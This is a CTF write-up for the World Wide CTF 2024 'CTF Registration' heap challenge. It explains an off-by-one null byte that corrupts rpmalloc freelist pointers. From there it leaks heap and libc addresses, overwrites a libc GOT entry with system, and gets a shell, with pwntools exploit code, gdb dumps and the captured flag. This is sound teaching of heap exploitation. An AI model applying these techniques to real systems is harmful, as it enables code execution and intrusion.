World Wide CTF 2024 - CTF Registration 500 / hard

Author: nosiume

I’m finally making my own ctf competition! I wanted to make sure that my registration system is safe and since I know from past ctf experience that glibc malloc is very easy to exploit; I decided to use a different allocator :)

nc ctf-registration.chal.wwctf.com 1337

Team: Weak But Leet

Attachment: ctf_registration.zip xpl.py

 _____ ___________  ______           _     _             _   _             
/  __ \_   _|  ___| | ___ \         (_)   | |           | | (_)            
| /  \/ | | | |_    | |_/ /___  __ _ _ ___| |_ _ __ __ _| |_ _  ___  _ __  
| |     | | |  _|   |    // _ \/ _` | / __| __| '__/ _` | __| |/ _ \| '_ \ 
| \__/\ | | | |     | |\ \  __/ (_| | \__ \ |_| | | (_| | |_| | (_) | | | |
 \____/ \_/ \_|     \_| \_\___|\__, |_|___/\__|_|  \__,_|\__|_|\___/|_| |_|
                                __/ |                                      
                               |___/  

1) Register hacker
2) Read hacker profile
3) Quit

>> 

The challenge is using a custom heap allocator rpmalloc.

The only two functionalities in this are creating a new hacker object and showing it (and the hidden credits-function, which isn’t needed, though).

struct Hacker {
	unsigned long age;
	char name[0x8];
	char description[0x20];
}

int register_hacker()
{
	unsigned long i;
	Hacker *hacker;	

	for (i = 0LL; hackers[i]; ++i);
	
	if (i > 99)
		return puts("Sorry ! No spots left :/");

	hacker = (Hacker *)rpmalloc(0x30LL);

	printf("How old is the hacker? ");
	__isoc99_scanf("%lu", hacker);
	getchar();

	printf("What's the hacker's name ? ");
	__isoc99_scanf("%16[^\n]s", &hacker->name);
	getchar();

	printf("How would you describe this hacker ? ");
	__isoc99_scanf("%32[^\n]s", hacker->description); // off-by-one
	getchar();

	hackers[i] = hacker;

	return printf("Your hacker number is %zu !\n", i);
}

Reading the description, with __isoc99_scanf("%32[^\n]s", hacker->description); can result in a one-byte null overwrite. If we give exactly 32 chars, the LSB of the following address will be overwritten with a null byte. So, let’s take a look at the memory layout of the heap chunks, which gets allocated by rpmalloc.

gef➤  x/30gx 0x00007fffe0000000
0x7fffe0000000:	0x0000003000000003	0x0000005300000552
0x7fffe0000010:	0x0000000000000053	0x0000000000000004
0x7fffe0000020:	0x0000000000000000	0x00007ffff7ffa000
0x7fffe0000030:	0x0000000000000000	0x0000000000000000
0x7fffe0000040:	0x0000000000000000	0x00007ffff7ffa000
0x7fffe0000050:	0xffffffffffff0000	0x0000100000000001
0x7fffe0000060:	0x0000000000010000	0x0000000008271000
0x7fffe0000070:	0x0000000020000000	0x0000000000000000
0x7fffe0000080:	0x0000000000000000	0x4141414141414141 <= Age / Name
0x7fffe0000090:	0x4141414141414141	0x4141414141414141 <= Description
0x7fffe00000a0:	0x4141414141414141	0x0041414141414141
0x7fffe00000b0:	0x00007fffe00000e0	0x0000000000000000 <= Next free FD
0x7fffe00000c0:	0x0000000000000000	0x0000000000000000
0x7fffe00000d0:	0x0000000000000000	0x0000000000000000

gef➤  x/30gx 0x00007ffff7ffa000
0x7ffff7ffa000:	0x00007ffff7d8f740	0x0000000000000000
0x7ffff7ffa010:	0x0000000000000000	0x0000000000000000
0x7ffff7ffa020:	0x00007fffe00000b0	0x0000000000000000 <= Last next free FD

Every chunk has a pointer to the next free chunk in its first qword. So, when a chunk gets allocated, this address is stored in the free_list of the current heap and the block itself is returned.

static inline RPMALLOC_ALLOCATOR void*
heap_pop_local_free(heap_t* heap, uint32_t size_class) {
	block_t** free_list = heap->local_free + size_class;
	block_t* block = *free_list;
	if (EXPECTED(block != 0))
		*free_list = block->next;
	return block;
}

So, by overwriting the LSB of the next free pointer we can manipulate, which address gets returned afterwards as a new chunk. Though we can at first only overwrite the LSB with a null byte, we can use this to create overlapping chunks, with which we then can fully control the complete next pointer.

But for this, we also need some kind of leak first. Here comes the age of hacker into play. Since it’s read via __isoc99_scanf("%lu", hacker);, we can just use a + as age which will just keep the value, that’s currently in age.

Let’s do this to leak the address of the current heap first.

def register(age, name, desc):
  r.sendline(b"1")
  if (age == -1):
      r.sendlineafter(b"? ", b"+")
  else:
      r.sendlineafter(b"? ", str(age).encode())

  r.sendlineafter(b"? ", name)
  r.sendlineafter(b"? ", desc)
  r.recvuntil(b">> ")

def view(idx):
  r.sendline(b"2")
  r.sendlineafter(b"? ", str(idx).encode())
  r.recvline()
  r.recvuntil(b"Name: ")
  name = r.recvline()[:-1]
  r.recvuntil(b"Age: ")
  age = int(r.recvline()[:-1], 10)
  r.recvuntil(b"Description: ")
  desc = r.recvuntil(b"\n====", drop=True)
  r.recvuntil(b">> ")
  return name, age, desc

...

register(-1, b"A" * 16, b"A" * 0x10)    
register(-1, b"A" * 16, b"B" * 0x10)

_, HEAPLEAK, _ = view(1)
HEAPBASE = HEAPLEAK - 0xe0

log.info("HEAP leak    : %s" % hex(HEAPLEAK))
log.info("HEAP base    : %s" % hex(HEAPBASE))
[*] HEAP leak    : 0x7fffe00000e0
[*] HEAP base    : 0x7fffe0000000

Since we now know the address of the heap area itself, we can now create an overlapping chunk, for which we control the next pointer.

payload = p64(HEAPBASE + 0x28) + p64(HEAPBASE + 0x28)
payload += p64(HEAPBASE + 0x28) + p64(HEAPBASE + 0x28)

register(-1, b"A" * 8, payload)       # 2
register(-1, b"D" * 8, b"E" * 0x20)   # 3
0x7fffe0000000:	0x0000003000000003	0x0000005300000552
0x7fffe0000010:	0x0000000000000053	0x0000000000000004
0x7fffe0000020:	0x0000000000000000	0x00007ffff7ffa000
0x7fffe0000030:	0x0000000000000000	0x0000000000000000
0x7fffe0000040:	0x0000000000000000	0x00007ffff7ffa000
0x7fffe0000050:	0xffffffffffff0000	0x0000100000000001
0x7fffe0000060:	0x0000000000010000	0x0000000008271000
0x7fffe0000070:	0x0000000020000000	0x0000000000000000
0x7fffe0000080:	0x0000000000000000	0x4141414141414141 <= hacker 0
0x7fffe0000090:	0x4141414141414141	0x4141414141414141
0x7fffe00000a0:	0x0000000000000000	0x0000000000000000
0x7fffe00000b0:	0x00007fffe00000e0	0x4141414141414141 <= hacker 1
0x7fffe00000c0:	0x4242424242424242	0x4242424242424242
0x7fffe00000d0:	0x0000000000000000	0x0000000000000000
0x7fffe00000e0:	0x00007fffe0000110	0x4141414141414141 <= hacker 2
0x7fffe00000f0:	0x00007fffe0000028	0x00007fffe0000028
0x7fffe0000100:	0x00007fffe0000028	0x00007fffe0000028
0x7fffe0000110:	0x00007fffe0000100	0x4444444444444444 <= hacker 3
0x7fffe0000120:	0x4545454545454545	0x4545454545454545
0x7fffe0000130:	0x4545454545454545	0x4545454545454545
0x7fffe0000140:	0x00007fffe0000100	0x0000000000000000 <= next ptr

Allocating another chunk, would now take the chunk at 0x00007fffe0000100, in which we prepared a fake fd pointing to 0x00007fffe0000028, which would then be put into the freelist. So, the next chunk would be allocated at 0x00007fffe0000028 (rpmalloc doesn’t seem to care about aligned chunks :)).

From this chunk we can again leak the address via age +.

register(-1, b"A" * 8, payload)                 # 2
register(-1, b"D" * 8, b"E" * 0x20)             # 3
register(-1, b"F" * 8, b"G" * 0x20)             # 4

# allocate into heap main and leak
register(-1, b"X" * 8, b"B" * 0x20)             # 5

_, HEAPMAIN, _ = view(5)

log.info("HEAP main    : %s" % hex(HEAPMAIN))
[*] HEAP main    : 0x7ffff7ffa000

With this we’ve leaked an address, which will have a constant offset to libc, so we can use it to calculate the base address of libc.

Just have to take care, that the offsets will differ a bit, if aslr is active or not (and also it turned out that remote the offset was a bit off).

if ASLR:
    if not LOCAL:
        libc.address = HEAPMAIN - 0x262000 - 0x2000
    else:
        libc.address = HEAPMAIN - 0x262000
else:
    libc.address = HEAPMAIN - 0x268000

log.info("LIBC base    : %s" % hex(libc.address))

Knowing libc we can now use this, to create another chunk in ABS.got, overwriting a got entry, which will get executed, when we view a hacker.

Since our next chunk will be written into the heap arena, we can directly overwrite the free_list pointer and control where the next chunk will be allocated.

# allocate into libc abs.got
TARGET = libc.address + 0x21a080

payload = p64(TARGET) + p64(TARGET)
payload += p64(TARGET) + p64(TARGET)

register(0xdeadbeef, b"X" * 8, payload)
0x7ffff7ffa000:	0x00000000deadbeef	0x5858585858585858
0x7ffff7ffa010:	0x00007ffff7fac080	0x00007ffff7fac080
0x7ffff7ffa020:	0x00007ffff7fac080	0x00007ffff7fac080
0x7ffff7ffa030:	0x0000000000000000	0x0000000000000000
0x7ffff7ffa040:	0x0000000000000000	0x0000000000000000

Let’s allocate one last chunk, which will overwrite *ABS*+0xa86a0 with system (which will later be called from __vfprintf_internal)

TARGET2 = libc.symbols["system"]

payload = p64(TARGET2) + p64(TARGET2)
payload += p64(TARGET2) + p64(TARGET2)
register(0xdeadbeef, b"AAAA", payload)

Now, all there’s left to do, is to view a chunk of a hacker with ;/bin/sh; in its description. Just changed the description of hacker 1 accordingly.

register(-1, b"A" * 16, b";/bin/sh;\x00")       # 1

...

r.sendline(b"2")
r.sendline(b"1")
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x1               
$rbx   : 0x00005555555593e1  →  0x203a656741000a73 ("s\n"?)
$rcx   : 0x00005555555593e0  →  0x3a656741000a7325 ("%s\n"?)
$rdx   : 0x00007fffffffe1f8  →  0x00007fffe00000b8  →  "AAAAAAAA;/bin/sh;"
$rsp   : 0x00007fffffffbb00  →  0x0000000000000000
$rbp   : 0x00007fffffffc090  →  0x00000000fbad8004
$rsi   : 0x00007ffff7e07710  →  <__vfprintf_internal+06e0> endbr64 
$rdi   : 0x00007fffe00000b8  →  "AAAAAAAA;/bin/sh;"
$rip   : 0x00007ffff7e08d2c  →  <__vfprintf_internal+1cfc> call 0x7ffff7dba490 <*ABS*+0xa86a0@plt>
$r8    : 0x00007ffff7f63460  →  0x0000000000000000
$r9    : 0x7fffffff        
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x6               
$r13   : 0x73              
$r14   : 0xffffffff        
$r15   : 0x00007fffe00000b8  →  "AAAAAAAA;/bin/sh;"
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e08d20 <__vfprintf_internal+1cf0> mov    QWORD PTR [rdi+0x8], rax
   0x7ffff7e08d24 <__vfprintf_internal+1cf4> jmp    0x7ffff7e077df <__vfprintf_internal+1967>
   0x7ffff7e08d29 <__vfprintf_internal+1cf9> mov    rdi, r15
●→ 0x7ffff7e08d2c <__vfprintf_internal+1cfc> call   0x7ffff7dba490 <*ABS*+0xa86a0@plt>
   ↳  0x7ffff7dba490 <*ABS*+0xa86a0@plt+0000> endbr64 
      0x7ffff7dba494 <*ABS*+0xa86a0@plt+0004> bnd    jmp QWORD PTR [rip+0x1f1bfd]        # 0x7ffff7fac098 <*ABS*@got.plt>
      0x7ffff7dba49b <*ABS*+0xa86a0@plt+000b> nop    DWORD PTR [rax+rax*1+0x0]
      0x7ffff7dba4a0 <*ABS*+0xa9b10@plt+0000> endbr64 
      0x7ffff7dba4a4 <*ABS*+0xa9b10@plt+0004> bnd    jmp QWORD PTR [rip+0x1f1bf5]        # 0x7ffff7fac0a0 <*ABS*@got.plt>
      0x7ffff7dba4ab <*ABS*+0xa9b10@plt+000b> nop    DWORD PTR [rax+rax*1+0x0]
──────────── arguments (guessed) ────
*ABS*+0xa86a0@plt (
   $rdi = 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;",
   $rsi = 0x00007ffff7e07710 → <__vfprintf_internal+06e0> endbr64 ,
   $rdx = 0x00007fffffffe1f8 → 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;",
   $rcx = 0x00005555555593e0 → 0x3a656741000a7325 ("%s\n"?),
   $r8 = 0x00007ffff7f63460 → 0x0000000000000000,
   $r9 = 0x000000007fffffff
)

gef➤  telescope 0x7ffff7fac098
0x00007ffff7fac098│+0x0000: 0x00007ffff7de2d70  →  <system+0000> endbr64 

This will effectively execute system("AAAAAAAA;/bin/sh;") resulting in a shell :)

python3 xpl.py 1
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to ctf-registration.chal.wwctf.com on port 1337: Done
[*] HEAP leak    : 0x7c0fd00000e0
[*] HEAP base    : 0x7c0fd0000000
[*] HEAP main    : 0x7c0fe139a000
[*] LIBC base    : 0x7c0fe1136000
[*] Switching to interactive mode
\x00d\x00orry ! No spots left :/\x00ow old is the hacker? \x00lu\x00hat's the hacker's name ? \x0016[^
]s\x00\x00\x00ow would you describe this hacker ? \x0032[^
]s\x00our hacker number is %zu !
\x00\x00\x00hat is the hacker's number ? \x00zu\x00nvalid index.\x00\x00\x00\x00orry, but no hacker is registered as number %zu...
\x00\x00========================= HACKER ========================\x00ame: %s
\x00ge: %lu
\x00escription: %s
\x00=========================================================\x00nvalid option
>> What is the hacker's number ? $ ls
chall
flag.txt
$ cat flag.txt
wwf{h0w_d1d_y0u_m4n4g3_t0_h4ck_my_sup3r_rpm4ll0c_pr0gr4m_:(((((}